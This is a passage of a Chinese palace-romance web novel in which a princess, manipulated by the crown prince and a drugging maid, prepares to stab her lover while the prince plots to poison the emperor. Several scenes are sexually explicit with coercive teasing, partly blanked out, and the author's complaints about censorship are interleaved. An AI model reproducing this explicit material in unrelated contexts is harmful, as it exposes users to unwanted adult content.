“你!”颜嘉柔瞪了他一眼,雪白的面皮涨得通红,半晌后,还是老老实实地将金坠绕了一圈,垂至背后,之后凑上前去,双手圈住他的颈项,用鼻尖轻轻蹭了蹭他:“喏,这样就不碍事了。” 萧彻看了她一眼,好笑道:“就非要戴这玩意儿?” “这里面到底有什么,你连上床都不肯取下?” 颜嘉柔扭扭捏捏就是不肯说。 萧彻挑了下眉,忽然又起了逗弄的心思,抬起她的下巴,似睨非睨地打量着她:“镂空香囊……我知道了,你每回在床事上都要戴上这个,这里面该是装了助兴的催//。情香,是不是?” “怪不得我每次都对你欲罢不能,恨不得死在你身上,原来小兔面上瞧着不谙世事,背地里却做这样的手脚,让我离你不得,好乖乖定期给你解药,是不是?” 颜嘉柔简直冤枉,连忙分辨道:“我……我没有……” “没有吗?那你说,我为什么一看到你,就想干你?” 颜嘉柔羞耻极了,偏过了脸,细如蚊讷地道:“我……我不知道……” “不知道?”萧彻掐过她的下颌,将她的脸扳正:“还不是因为你给我下了药?跟我做的时候,每回都要戴着劳什子镂空香囊,这便是最好的证据。” “我没有!”颜嘉柔眼尾泛着绯色,脸蛋也红红的,不知是羞是恼,只不服气地道:“许是……许是你是兰陵人,天生性//。欲旺盛,所以才会……”才会一见到她就发//。情,却要赖在她头上!这镂空香囊里虽然也确实加了一些香料,可决不是什么催//。情香! “一派胡言,”萧彻弯唇,轻咬了她的耳垂,喑哑道:“倘若是我的原因,那为什么我对别的女人毫无兴趣,你一扑上来,我就。了,还说不是你在随身佩戴的香囊金饰中动了手脚?” 颜嘉柔一怔,美眸中渐渐浮上迷茫,她本就不聪明,这回真被他绕进去了:“我……我也不知道……” 萧彻勾唇:“你看,连你自己都解释不清。” “呜呜……” “还不肯说实话么?”萧彻附在她的耳畔,作势恶狠狠地道:“不说实话,我今晚就干死你。” “把你干到双腿都合不拢,下不来床,就权当小兔不肯说实话的惩戒了。” 颜嘉柔被吓傻了,哭唧唧地道:“我说实话,我说实话!” “哦?那说来听听。我为什么只对你这样,动不动就想干你?” 颜嘉柔被屈打成招,只好被迫认下这笔账,委委屈屈地道:“因为……因为我偷偷在香囊上动了手脚,所以你才会把持不住……” “错了,宝宝。” 萧彻轻叹一声,低头吻去她颊边的泪水:“是因为太喜欢你,才会这样。” 颜嘉柔慢慢地睁大眼眸,茫然地看着他,好半天才终于反应过来,萧彻根本就是在戏弄她,他怎么可能真的信她随时随地佩戴装有催//。情香的香囊,那还不得时时刻刻发//。情?这不过是他逗弄她的由头罢了,他一贯便是这么恶劣:“呜,哥哥,你坏死了……” “这就坏了?还有更坏的呢。” “嗯……讨厌……” …… 尽管她的香囊里并没有佩戴什么催//。情香,可后来那晚上她还是被他干得半死。 记忆回笼,从前两人床笫之间的调情打闹,虽则总是萧彻欺负她,但她除去身子有时实在吃不消之外,也觉一丝甜蜜,她想,萧彻总是喜欢她的,所以但凡有一丝余力,总是尽可能满足他,也时常为不能让他尽兴而感到愧疚。 如今想来,实在愚不可及。 萧彻只怕从头到尾,都只将她当做傻子玩弄罢了。 她唇边浮上一丝冷笑,低头把玩着垂至胸前的镂空香囊,啪嗒一声,打开了香囊,从里面取出了钥匙。 从前费心地佩戴,如今却是不必了。 ——萧彻将他的命门秘密装在香囊里送给她,她原本打算这一辈子都不打看,也不叫旁人知晓。 可世事变幻,她自己都没想到不过短短几月,她就改变了主意。 萧彻满口谎言,她也不是没有想过那个命门秘密是假,可萧彻当时完全没有必要告诉她这个秘密,既然愿意告知,应当不会作假。 至于他为什么愿意将他的命门秘密装在一个香囊里,在情浓时当做一样取悦她的礼物送给她,总不能是因为实在爱她爱到了极处,只恨不得拿性命证明。 颜嘉柔想,大约是他实在太过自负,自负到以为她永远都会任他掌控,做一个毫无所察的傻子。 即便给了她装有命门秘密的香囊,她恐怕也根本不会想到打开——她根本不会有害他之心,又何必打开。 可惜啊萧彻,你也有失算的一天。 —— 她取出钥匙后打开了xx,从里面拿出了萧彻送给她的锦囊,终于第一次知道了他命门的所在—— 是左胸口第三根肋骨往下一寸。 她松了一口气。 因为萧珏告诉她,只要她将匕首刺入他右胸口第三根肋骨往下一寸,淫狐在她身上种下的印记便会褪去,她和萧彻之间的羁绊也会被彻底斩断。 这样一来,她的怪病自然也就痊愈了。 只是刺他一刀而已,兰陵人体质异于常人,不会轻易死去,既非命门,便不会要了他的性命,她有什么可顾虑的呢? 她只是不想要萧彻了,不想再与他有任何牵绊,她有什么错?说到底,她会染上这个怪病还不是因为他! 她想是他欠她的,是他一直在利用她、欺骗她,一边说着爱她,要了她的身子,转头却与其他女人纠缠不清。 她算什么? 她亲耳听到他说,不过是将她当做玩物,一个肆意折辱玩弄的傻子罢了。 她却为了他伤害了自小亲近的太子。 她如何能不悔,如何能不愧? 这些日子的情爱不过是一场彻头彻尾的笑话。 他骗了她的感情,不过挨上一刀,即便痛些,那也是他该受的。 她受到的痛苦,若有五分,必叫他尝十分,如此才算解气。 更何况他为达目的不择手段,还害惨了她另外两位兄长,她该是为他们报仇的。 只是为什么,她还是这般犹豫不决? 她想她真是疯了。 哪怕到了这个时候,她居然还是会不忍心。 是兰陵人的痛觉是常人的十倍不止吗? 不,让他痛苦,这不正是她所期望的吗,辜负她的人,必须要付出代价,萧彻痛苦,她只会觉得快意。 那到底是什么呢,让她总觉得隐隐有些不安…… 有什么念头如游丝一般一闪而过,待到要细想,却又抓不住了。 —— 她到底下不定决心。 便为着这桩悬而未决的心事,辗转反侧,魂不守舍。 于是大病了一场。 虽生了病,这场病却生得正是时候。 她这段时间本就不想见萧彻,担心被他看出什么,但她从前三天两头地跑去找他,总是黏着他,如今骤然变得冷淡,只恐惹他怀疑。 可是她现在生病了,那便有借口不去见他了。 便是连她要解药,也得他送上门来。 —— 萧彻近来发现小兔对那事较从前冷淡了许多,身子还是一般铭感,一碰就出水,只是在床上总忍着,不爱叫出声了,像是在刻意压抑着什么,也不再像从前那样心软肯纵着他c弄多次,总是一绞出解药,便说累了。 萧彻有时也会诉说不满,从身后拥着她,轻轻啃啮她的耳廓:“小没良心的,真把我当解药了?自己舒服了,就不管我的死活了,嗯?” 他牵过她的手,引导着她慢慢往下,哑声道: “你摸摸,它才刚得了点趣,这就没了?” “好颜颜,再给一次吧。” 若是放在从前,她经不住他这般软磨硬泡,必然心软松口了,然后是一次、两次、三次……他的胃口像是永远都填不满。 但如今她只是转身轻抚他的脸,一双眼睛乌沉沉地看向他:“萧彻,我近日生了病,实在是心有余而力不足,等过段时间吧,好不好?” “宝宝,我早问过太医了,出些汗对你的病情只有益处,不过你既然这样说了,我自然依你。” 他牵起她的另一只手,低头一根根地亲吻含吮她的指尖,嗓音沙哑:“这几日的账就先欠着,等你病好了,我一定干死你。” 颜嘉柔牵动唇角,笑得有几分虚幻:“好。” —— 在众人眼里她只不过染上了一场轻微的风寒,甚至算不上病,只有她自己知道,她得的是心病。 自那以后,她再也没有去过含光殿,萧彻便隔三差五地来承欢殿找她,时常给她带些宫外的新奇小玩意儿过来,就连荣记斋她最喜欢吃的几样糕点,因都是极甜的,他从前总限着她,这段日子倒也不拘着了。 “我听人说,吃些甜的,心情会变好,小兔最近都蔫了,便破例纵着你多吃几块吧。” 萧彻摸了摸她的脸颊:“有开心点儿么?” 香甜软糯的芙蓉糕入口即化,往日每每吃到,都觉欢喜无限,如今竟也觉得索然。 她忽然觉得疲倦,顺势靠在了他的怀里,目光落在虚空中的一点,怔然地道:“只要你陪着我,我怎样都是开心的。”她多希望他没有做那些事,一切都是假的。 萧彻牵唇笑了下,低头亲吻她的额头:“这是自然,我永远都会陪在你的身边。” 他道:“我是你的。” 这样的话真好听,即便明知是谎言,也还是让人不自觉地沉溺其中。 她有甚至会生出恍惚,有那么一刻,什么都不想去管,什么都不想去理,只觉得若是萧彻愿意一直骗她,也未尝不可。 直到那日她侧躺在榻上,熏香袅袅,甜腻得发紧,她午后困倦,做了一个梦。 梦中太子退位,父皇薨逝,萧彻终于如愿以偿,登上高位,她也由衷为他感到高兴。 只是下一刻,画面一转,她突然被他推到在地,他看向她的眼神,再无半分往日温情,只冷冷地道:“皇妹,番邦使者来朝,请愿与我朝结秦晋之好,需派出一位公主远嫁北楚,我思来想去,也只有你最为适合了。” “皇妹这般美貌,我见犹怜,北楚一定会满意的。旁的几位公主都是我的亲妹妹,血浓于水,我难免不舍。而皇妹并非皇室血脉,白白占了公主名号这么多年,既享受了公主的尊荣,自然也该担起公主的责任,你说呢?” 北楚气候苦寒,路途遥远,她在气候宜人的大魏都城 生活了这么多年,自小娇生惯养,与温室里的花朵无异,哪里受得了北楚的磋磨,何况北楚皇室好色暴虐,以折磨女子为乐,她不过是个冒牌公主,他们又真的会善待她吗? 北楚与都城相隔万里之遥,这一去山高水远,气候恶劣,北楚人又是不好相与的,只怕她注定客死异乡,今生再也见不到萧彻一面了…… 她仓惶地跪在地上,伸手徒劳地去抓他的衣角,哀哀地道:“不要,不要赶我走,萧彻,一夜夫妻百日恩,看在我们往日的情分上,别赶走我,我不要去和亲,让我留在你身边,我会乖的……” “若你留下了,那我怎么办呢?” 忽然听到女子娇媚的声音,转头望去,只见姬乐不知何时出现在萧彻的怀里,柔若无骨的柔夷攀附着他,勾起唇角,眼神挑衅,颈侧的吻痕昭彰着二人非比寻常的关系。 “公主,如今殿下已登大宝,你便再无利用价值。我隐忍多时,你如今也该让位了。我们两情相悦,你何不成全呢?” “至于和亲之事,”她眸光微转,勾起唇角,幽幽地道:“你若是真心爱他,就为他做这最后一件事吧,这也是你唯一的价值了。你这一身娇养的皮肉,皆为皇室供养,如今,也该到了回报的时候了。” 言下之意,便是要敲骨吸髓,榨干她最后一点价值,再弃如敝履。 “不……不要……” 她冷汗淋漓,猛地睁开眼,尖叫着从床上坐起。 甜腻的熏香钻入鼻腔,脑袋是昏睡初醒后的晕沉发胀。 昏睡?原来只是一场梦…… 她刚松了口气,余光却忽然瞥见站在床边的姬乐! 她笑意盈盈,微微俯身看向她道:“公主,您醒了?” 颜嘉柔面色骤然间惨白,拥着锦被往后缩:“你……你怎么会在这儿……” “殿下今天太累,恐怕不能过来了,我怕公主空等,特地过来跟你说一声。映雪知道我是来替殿下传话,便让我进来了。” 她说着撩了一下发丝,状似不经意地露出颈侧的一枚吻痕,轻轻叹息了一声,颇有些苦恼的样子:“殿下今日必然是累着了,将我好一通折腾,公主,你近日是不是饿着他了?所以他才这般……”她脸色微红,露出极为羞赧的小女儿情态:“却是苦了我……” 颜嘉柔猛地睁大了眼睛,脸上血色尽褪,哆嗦着唇瓣道:“你……你说什么……” 眼前姬乐颈侧的吻痕与梦境中的交叠,一瞬间梦境与现实的界线变得模糊。 脑袋一阵阵发晕,沉得厉害,连眼前所视之物都开始出现重影,她模模糊糊地看到姬乐退了出去,一张脸在周遭光怪陆离的景象中变得扭曲,连声音都尖锐而诡异,夹杂着断断续续的笑声。 这一切都像极了一场噩梦。 头疼欲裂,颜嘉柔痛苦地捂住脑袋,一时分不清现实与梦境。 —— 姬乐走出承欢殿后,低头捻了捻指尖残留的香灰,又放在鼻端轻嗅了,依旧是甜腻熏人。 这是太子给她的“拈妄丝”,点燃后久闻能让人陷入梦境,将心魔映射入梦中,而且时间一长,容易分不清现实与梦境,极易受梦境影响,认为心中最惧怕的事极有可能真的发生。 “拈妄丝”与颜嘉柔平时所用的熏香味道接近,映雪隔段时间就会从香典署领取香料,而要骗过映雪,在她眼皮子底下做手脚,于她而言,并不是难事。 颜嘉柔头脑简单,从小无忧无虑,顺风顺水,唯一的心魔无非是以为萧彻对她不过是利用,真正所爱的另有其人。 所以她会梦见什么并不难猜,而她故意在自己的颈侧掐出一道印记,让她误以为是吻痕,也不是什么难事。 多番刺激之下,她自然神思恍惚,煎熬痛苦,这个时候太子再劝她,必定事半功倍。 毕竟,她对萧彻的喜欢,其实也肤浅的很,负隅顽抗不了多久的。 —— 萧珏进去时,房中的熏香已经燃尽,香炉旁积攒了长长一段香灰,蜿蜒呈蛇形。 颜嘉柔斜靠在床栏边,面色苍白,眼神空洞。 短短几日,她的脸已经瘦了一圈。 五官的精致被凸显出来,愈发美得惊心。 只是脸上的神情仿佛哀莫大于心死,眼神怔怔的,空洞而死寂,像个毫无生气的美丽假人。 萧彻皱眉,只觉心中一阵痛惜,他自然不忍心颜嘉柔伤情至此,只是为了帮她斩断和萧彻的孽缘,也只能如此了! 说到底,都是萧彻害的。 他带给颜嘉柔的伤痛,他往后自然会千倍百倍地帮她讨回来。 思及此,他按下心中纷乱的思绪,走到她的身边坐下,抬手抚上她的脸侧,叹息道:“嘉柔,怎么瘦了这么多……” 颜嘉柔缓慢地抬起头,目光凝滞在他的脸上,似乎许久才认出他来:“太子哥哥,”她道:“我该怎么办……” “怎么了?发生什么事了,跟太子哥哥说,我会帮你的,无论发生什么事,我都会帮你。” “不,你帮不了我,这件事谁都帮不了我……”她兀自摇了摇头,失魂落魄地道:“萧彻很快就会不要我了……用不了多久,等他登上大宝,我再没了利用价值……折辱和报复也早已足够……他就不会再对我假以颜色了……他会和他真正喜欢的人在一起……对,他喜欢的是姬乐,青梅竹马,他们何尝不是青梅竹马……” “姬乐从小就照顾他,他待她原本就与旁的宫婢不同,太子哥哥,你说的对,只怕男女敦伦,也是她为他启的蒙……因为我看到了,我看到了她脖子上……” 瘦削的肩膀轻轻颤动,她到底没有再继续往下说,只是道:“我到底该怎么办……我不想再继续这样下去了,太子哥哥,我想回到从前,回到从前无忧无虑的时候……” 如今的每一刻,于她而言,都像是生不如死。 心像是被剜去一块,血淋淋地敞着窟窿,迟迟不愈,每一次呼吸都牵扯出细密的疼。 那个可怕的梦境、姬乐颈侧挑衅的吻痕、竹林所闻、阁楼所见、二哥的信、花遥的信物…… 都像是这世间最锋利的匕首,深埋入她的体内,一遍遍地来回翻绞,不啻于这世间最残忍的刑罚。 她急于寻求一个解脱的方法。 如果喜欢一个人便要这么痛苦,那她便不要喜欢了,再也不要了。 她仿佛溺水之人,急于抓住最后一根稻草。 萧珏便给了她这根稻草:“嘉柔,你如今这么痛苦,是你以为自己深爱萧彻,而萧彻又背叛了你,所以才会如此。” “可哑医早就告诉过我,得了那种怪病之后,你的心性会受到狐毒的影响,那淫狐畸恋萧彻,才会借你的身与他欢好,这并非出自你的本意,何况情欲之事,有了欲,便容易让人误会有情,你年纪小,分不清也是有的。” 颜嘉柔轻轻颤动眼睫:“你是说……我并不喜欢萧彻,只不过是受白狐的影响,才会如此?” “是,只要你按我说的做,在适当的时机,将匕首刺入他右胸第三根肋骨下一寸,怪病便可治愈,你与萧彻的羁绊会彻底消失。到了那个时候,你便能认清自己的本心,不受淫狐的影响,再也不会为他难过,因他伤心。” 她想她实在是太痛苦了,迫切地想要寻求解脱之法,所以终于点头答应:“……好,太子哥哥,我会按你说的去做。这是他欠我的。” 她想,她再也不要喜欢萧彻了。 萧彻机关算尽,心狠手辣,陷害萧衍,又令萧珏重伤至此,她做妹妹的,本就该为哥哥们报仇。 就算先不论这份仇,单她和萧彻之间的恩怨,也该清算了。 这一刀,便当做彻底斩断他二人之间的情分,也算偿还他欠她的情债。 从此他们,两不相欠。 第125章 第125章她刺中的果然是他的命…… 日子过得很快,转眼已是月余,入冬之后,天气 一日比一日冷。 鼻子里呼出的都是白汽,映雪想,今年的冬天,的确比往年更冷。 京都的气候一向算不得冷,历年冬天都是暖冬,今年也不知是怎么了,居然这样冷。 事出反常必有妖,宫中已有流言,说是今年的冬天恐有大事发生,所以才会天将异象。 不过再大的事,也跟她这个小宫女没什么关系。 于她而言,颜嘉柔今日是否吃得舒心,睡得香甜,便是天大的事了。 她自小服侍她,说是她的贴身宫女,更像是她的姐姐。 颜嘉柔在她眼里,那是天底下再没有的可爱,容貌自不必多说,娇美动人,加之心地善良,天真单纯,待她也是极好,偶有娇蛮,也不过是小女孩使性子罢了。 她想这世上见过她的人,该是没有不喜欢她的。她也衷心希望她能永远这般无忧无虑下去。 只是近来不知怎么,她时常一个人怔怔地坐着发呆,一坐就是好久,脸上也许久没有笑容了,整个人再不似从前活泼。 不光白日里精神恹恹,她晚上也总是睡不安稳,似乎噩梦缠身,也只有三殿下过来的时候,她才会强撑起一丝精神,像从前一样待他,之后拥着他,在一番折腾之后精疲力尽地沉沉睡去。 她也曾问过她是否有什么心事,她只是神色怔仲地摇了摇头。 她的小公主也有秘密了,她想。 映雪搓着手,放下了撑窗,转头对着颜嘉柔笑道:“主子,我瞧这天气,估摸着再有几日就能下雪了!”她说这话时语气难掩兴奋,不为别的,只为下雪天能哄颜嘉柔高兴。这几天她总是郁郁寡欢,她只盼着下雪那日能重见她的笑靥。她的小公主,从前可是她的开心果呢。 她记得她很久之前就开始期盼下雪了,有段时间甚至每天早上一起来,第一件事就问她今天下雪了么?弄得她啼笑皆非。 至于为什么,京都不常有雪,雪花晶莹轻白,纷纷扬扬落下来,如梦似幻,大约姑娘家没有不盼着下雪的吧。 况且三殿下还答应过公主,若是下雪了,定会为她堆一个世上最好看的雪人。映雪私下里猜想,他堆的指不定便是他自己呢,毕竟这天底下,该是没有比他更好看的人了。 映雪对颜嘉柔说完,原以为她会很高兴,孰料她听完后,依旧阖眼躺在美人榻上,竟是半点反应也无。 映雪蹙眉朝她走了过去:“公主?” 颜嘉柔缓缓睁开双眼,神色平静无波,只道:“下不下雪,与我已经没有关系了。映雪,以后这事不必再提。” “……是,公主。” 映雪面上浮现忧色,连下雪也不能令公主高兴了,难不成那些梦魇便真的如此可怖,害得公主忧虑至此,连赏雪的心情也一扫而空?怎么这么多帖安神药下去,也不见效呢?看来得叫太医换个方子才行。 这般想着,她不由得上前走近了几步,想说些宽慰开解她的话,可到了近前,仔细端详了她的面容,只觉她近来又消减了不少,不免又是一阵心疼。 颜嘉柔见她久久地盯着自己,略一怔仲,抬手抚上了自己的脸:“怎么,我现在这个样子是不是很难看?” 她眼睫低垂,唇边牵出一个自嘲的笑,神情却分明又有几分落寞:“远远不及崔令颐和姬乐了吧……” 映雪一惊:“怎会?公主好端端的,怎么与她二人作比?崔大小姐容貌闻名于大魏,号称京都第一美人,倒的确不负盛名,但公主您也并不逊于她呀,她是冷清出尘,您是娇美动人,各有千秋。至于姬乐姐姐,她不过是生得略清丽些罢了,哪里可以和您相提并论呢。” “虽则公主近日清减了些,不过这样一来,倒有几分病西子的韵味,美貌更胜从前了。”这话虽是映雪为了宽慰她所说,倒也并不假。 “是么,”颜嘉柔低低地道:“可是萧彻说,他更喜欢我从前的样子。” 映雪一愣,忙道:“那是因为公主您对三殿下有所隐瞒,说您近日清瘦是刻意少食瘦身所致,他心疼坏了,所以才会那样说。” “是么,”她目光落在虚空中的一点,半晌后,忽然渺若烟尘地道:“不过他喜不喜欢,也已经不再重要了。” 就像今天冬天是否会下雪,于她而言,也都已经不再重要。 —— 东宫内。 萧珏立在窗前,入了冬之后,天色早早就昏暗下来。 一旁点着一盏铜雀衔枝灯,烛光暧//。昧,他眼睑低垂,一张脸隐在半明半暗的光线中,窥不清神色。 李戎站在他身后,说道:“殿下,紫宸殿传来消息,圣上这几日已接连突发晕症两回,因很快就清醒过来,所以并没有放在心上。但你我都知,那是长久服用金乌丸所致,一旦出现晕症,三日内必定中风。” 金乌丸,即上回萧珏进献给萧元乾的丹药,号称能入幻梦,与江沉鱼相会。 “父皇果然没抵挡的住与江沉鱼相会的诱惑,将军料得不错,即便他一向疑心深重,对孤极为设防,但倘若诱饵是江沉鱼,他便如吸食罂粟的蜂蝶一般,明知有毒,却仍难以抵挡。” “殿下圣明。只是据我们的人打探到的消息,圣上虽到底禁受不住与贵妃梦中相会的诱惑,但用药并未十分放纵,且时间也不算长,按理不会这么快便中风,只怕是今年的冬天格外地冷,才导致进程加快,只是这般催逼所致,毒素在体内并未足够积累,不知他日后是否会有康复醒来的一天……” 萧珏冷笑道:“无妨,他只要中风昏迷,孤自然有法子让他一直昏迷下去。”…… “是,那殿下打算何时动手?”…… 萧珏眯起眼睛:“不是说三日内他必定昏迷吗?那便定在三日后吧。” 刚好三日后是月圆之夜,便可以以此为借口,告诉颜嘉柔,那正是她动手的合适时机。 “李将军,还记得孤之前跟你说过么,萧彻上回以‘事先得知弥勒教会进宫行刺,所以才在当日埋伏于披香殿附近’为借口逃去谋逆的罪名,事后弥勒教并未进宫行刺,萧彻称其‘计划泄露,临时取消’,既然当日他未能如愿见到弥勒教进宫,那孤这回就成全他。” “他既然能用‘弥勒教’做幌子,那孤自然也能利用‘弥勒教’来达成孤的目的,早在萧彻当初用弥勒教做借口洗清谋逆罪名时,孤便已经萌生此意。于是便派人装扮成僧人监视弥勒教在民间的活动,伺机渗入。” “那人叫崔琰,熟悉民间三教九流,擅长交际与伪装,很快便渗入弥勒教,逐步晋升为护法,取得了教主卢无咎的信任。卢无咎此人,一向冒进,自上位后一直密谋行刺父皇,之前萧彻既然敢以此为幌子,便证明不是空穴来风,” “上次之所以取消了计划,倒的确也勉强算得上是‘走漏风声’——他们安插在宫中的内应被萧彻发现,一一拔除了。” “可是既能拔除,自然也能再次安插。崔琰的背后是孤,让孤替他们在宫中‘安插’几个眼线岂不是易事?他们只当一切都是崔琰的安排,毕竟崔琰当初以受朝廷迫害为由投靠弥勒教,又通过捐献重金获得卢无咎的接见,孤给他捏造的身份,是罪臣之后,钱财颇丰的罪臣之后,在宫中有些门道也没什么稀奇。”…… “届时那老东西一中风,孤就命崔琰将消息在弥勒教中散开,卢无咎冒进,一直苦于没有合适的机会攻入皇宫行刺,那老东西的中风,则是孤给他的机会。”…… “既然宫中的‘内应’都已经安排妥当,万事俱备,只欠东风,那萧元乾的中风,自然便是那一场东风了。” “他们想要攻占都城,颠覆大魏统治,再没什么比当 今圣上中风,宫中大乱更合适的时机了。” “只不过螳螂捕蝉黄雀在后,孤既然敢放弥勒教的人进来,自然也会提前部署好禁军亲卫,等借他们的手杀了萧彻之后,这场闹剧也会随之结束。” “届时父皇中风不省人事,萧彻又被弥勒教的人所杀,自然便只能由孤来监国。而一旦掌握监国大权,父皇又迟迟不醒,那么孤继承皇位,也是顺理成章之事。” 李戎道:“殿下所言极是。只是兰陵人天性狡诈,体质又异于常人,不光如此,三殿下的身手也不俗,臣担心……” “你担心即便打他个措手不及,弥勒教的那帮乌合之众也根本杀不了他?” “放心,弥勒教只是一个幌子罢了。”萧珏勾起唇角,幽幽地道:“真正杀他的,另有其人。而且一击必中,他也决不会还手。” —— 承欢殿内,春情正浓。 博山炉里白雾袅袅,室内弥漫着甜腻的熏香,混着浓重的麝香气息,一室暧日未。 隔着帘幔,依稀可以看到床上两道交缠的身影。 不知过了多久,粗重的喘//。息声渐止,男人从床上坐了起来,随手从一旁的衣桁上拿过衫衣,如霜的月光映照在他的身上,依稀可以看清白皙的脊背上布满红痕。 那是女子情动难//。耐时在他背上留下的抓痕。 情事的激烈可见一斑。 今晚的小兔的确异乎寻常的放浪形骸。 萧彻将内衫披在身上,拇指擦过唇边,上面还残留着温软滑腻的触感。 啧,小兔的那里可真软。 他懒洋洋地扯了唇角,难得有几分餍足。 正要下床,身后却忽然环上了一双手臂,柔若无骨,却紧紧地环抱着他,像是用尽了毕生的力气:“萧彻,别走……” 嗓音仿佛能掐出水来,自然是娇柔入骨,却又夹杂着一丝隐隐的啜泣,如泣如诉:“再陪我一会儿……” 萧彻眉梢微抬,扶上她的手,慢慢转过身来:“怎么了,心肝?”…… 回应他的是她热切的亲吻。 红润柔软的唇瓣堵上他的唇,问询的话便被尽数吞没在了唇齿之间。 萧彻抚上她的后脑勺……便立刻反客为主,将她推倒在……,狠狠地吻了上去。 小兔身娇体软,一向最易推倒。 ……怒删两百字…… 一吻结束,他看着已经……的小兔,凑过去轻吮着她的耳垂,含笑着问:“今天怎么这么熱秦,嗯?” 颜嘉柔失神地盯着头顶的承尘,嫣红的唇瓣微张,…… 怔怔地道:“……最后一次了。” 萧彻正侧身支在她身旁,用指尖勾缠着她的一缕乌发,闻言略一挑眉,漫不经心地道:“嗯?什么最后一次?” 颜嘉柔眼睫轻颤,像是才回过神来,微微偏过了脸:“……没什么,我是说今夜的最后一次。” “今夜还来啊?”萧彻唇角一挑,在她耳边戏谑道:“你身子吃得消么?就不怕,全删……?” 今夜小兔不知怎么,简直……全删 颜嘉柔侧转过身去:“不要就算了……” “不要?嗯?谁说不要?”萧彻把她的身子扳过来,全删了为什么还标黄,含混道:“给出去的东西,又怎么能收回……” 颜嘉柔……此时也忍不住推拒怒删两百字别 萧彻抬起头,唇边噙着一丝玩味的笑意:“那吃哪里,嗯?” 颜嘉柔眨了眨水雾弥漫的眸子,眸底透着一丝茫然:“我……” “哦,我知道了,宝宝全删……是不是……” 颜嘉柔脑子稀里糊涂的,一时没有反应过来:“……什么?” 正想再问,萧彻已经…… 她的声音陡然变了调……全删了为啥还锁? “萧彻,别……” …… 萧彻却忽然抬起头,拇指拭去唇边……,笑得有几分邪肆,懒洋洋地道:“宝宝。过了,接下来,该我了。 “唔……等一等萧彻,全删…………” 渐渐又响起女子婉转的……,似难奈,又似…… …… 不知过了多久,等一切云收雨散之后,萧彻姿态亲密地拥着颜嘉柔,怜爱地亲吻着她,细密的吻从她的额头落至颈侧。 “宝宝,”他轻轻蹭着她的脸颊,还是不忘问她:“还没说今天为什么这么热情呢,嗯?” 颜嘉柔转过脸来看他,目光乌沉沉的:“你不是一直嫌我娇气,做个一两次便受不了了,不能让你尽兴吗?那么今天,我就让你尽兴一次。” “哦?”萧彻笑问:“怎么今天这么好心?” 颜嘉柔轻垂下眼睫,敛去了眸底的情绪:“因为,这是礼物。” “礼物,好端端的,送我什么礼物?” “……你明天就知道了。”她道。 不知为何,声音显得有几分轻飘。 “我们颜颜,也学会卖关子了。”萧彻笑道:“好,我便等着明日。” 他将下巴枕在她的肩颈处,轻轻蹭了蹭:“不过颜颜,说到礼物,这么多年以来,你每回都只对萧珏的生辰上心,费尽心思地准备他喜欢的生辰贺礼,却对我的生辰贺礼敷衍之极,你扪心自问,我送你的哪样不是费尽心思,你便这么对我?真是小没良心的。” 不知是否是她的错觉,萧彻说这话时,语气竟有几分罕见的委屈。 其实他送她的那些生辰贺礼,她几乎没怎么打开过,送得敷衍,收得自然也不会上心,不过随手丢进库房里罢了。 后来她和他好了,那些生辰贺礼,因为年岁太久,她也一时没记起这回事。 若是他们感情依然稳固,她还是那般喜欢他,经他今日一提醒,她回头是会将那些贺礼翻出来,只可惜…… 她抿了抿唇:“从前我喜欢他,自然待他上心些。你那时总是与我作对,我生着气,难免便有些敷衍。” “可你现在喜欢的人是我,”萧彻抬起她的下颌,茶色的瞳仁一瞬不瞬地望进她的眼里,语气分明有几分烦躁,末了到底只是轻叹一声:“自然只该对我上心。” 他说着与她额头相抵,鼻尖轻轻蹭了蹭她,哑声道:“往年对我的亏欠,也该一一补回来了。” 颜嘉柔轻声道:“那你想怎样?” 眼见小兔咬钩,萧彻心情颇好地弯起唇角:“很简单,我如今快二十了,那么便该有二十份用心的生辰贺礼,好颜颜,以你我的情分,要你送我这二十份用心的生辰贺礼不过分吧?” “我……”颜嘉柔叹气道:“二十份生辰贺礼,萧彻,我一时去哪里寻来给你呢?” 萧彻轻笑:“急什么,又没让你立刻给我,往后二十年,你每回送我生辰贺礼时,多备上一份不就是了。” 颜嘉柔闻言一时怔然,喃喃道:“往后二十年……” “是啊,”萧彻牵起她的手,与她手指交扣,低头轻吻了她的手背:“颜颜,我们是要白首到老 的,我们往后,会有不止一个二十年。” 青年俊美的面容近在咫尺,说着世上最动人的情话,这样的场景何其熟悉,就像从前两人无数次的温存。 颜嘉柔有一瞬的恍惚,片刻后,她牵起唇角,笑意透出几分虚幻:“好。” —— 萧彻这天晚上到底没有回含光殿,实在是太晚了,而且今晚的颜嘉柔格外黏人。 在此之前,他未曾留宿过承欢殿。 今晚也是他这段时间第一次与她整晚同塌而眠,才知道她的魇症比他所知道的要严重许多。 她几乎整晚都在做噩梦。 梦中一直叫着他的名字,哭着让他别走,别离开她。 他眉心紧蹙,一遍遍地安抚着她,他不知道为什么颜嘉柔会做这样的噩梦,这般患得患失,明明他几乎已经要把心剖给她看了。 “真是小可怜。”他拇指摩挲着她的脸颊,近乎温柔地叹息。 他想,或许是他对她还不够好,才会让她这么不安。 那么以后,他会对她更好。 —— 颜嘉柔整晚都噩梦缠身,他自然也不得安寝,几乎是彻夜未眠。 天将明时,忽觉寒意陡盛,起身一看,隔着窗纸隐隐约约看到有什么东西纷纷扬扬地飘落下来,开窗一看,才惊觉外面竟下了雪。 他几乎下意识地就要回头将这个惊喜告诉颜嘉柔,却忽然想起她才没睡一会儿,便立刻噤了声,好在没惊醒她。 他兀自穿了衣,放轻动作地走了出去。 雪居然下了有一会儿了,庭院里已经积了一层积雪,不算厚,但足以堆砌雪人了。 萧彻弯唇,俯身搓了一团新雪…… …… 当旭日的第一缕阳光从云翳中射出时,他才刚刚堆砌好一对雪人。 这般在雪地上待了一个时辰,寒意渗入骨髓,身子几乎已经冷到麻木,好在答应小兔的事总算做到了。 他堆砌的雪人算不上最好,却一定是最用心的。他的心意,他想颜嘉柔看了之后,自然会明白。 —— 等出了承欢殿,向南过紫宸殿,正要抵达含元殿时,却被告知萧元乾忽然中风了,一切朝事暂免。 “怎会?我前几日见父皇,他的精神尚且很好。” “回殿下,太医也诊不出确切原因,估摸着是骤然入冬,气候过于严寒所致。” ………… 萧彻便跟着承恩去了紫宸殿,孰料前脚刚到紫宸殿,后脚便传来了消息,说是弥勒教的人不知怎么,竟然混进皇城了,且钻了禁军换防的空子,已经攻入内廷,眼下正在宫里到处作乱呢。 因着事发突然,宫中守卫也反应不及,眼下宫里到处都乱作一团,若说哪里最安全,则必然是眼下所处的紫宸殿,这里常年有萧元乾的亲卫驻守。 只是别的宫殿便未必了…… 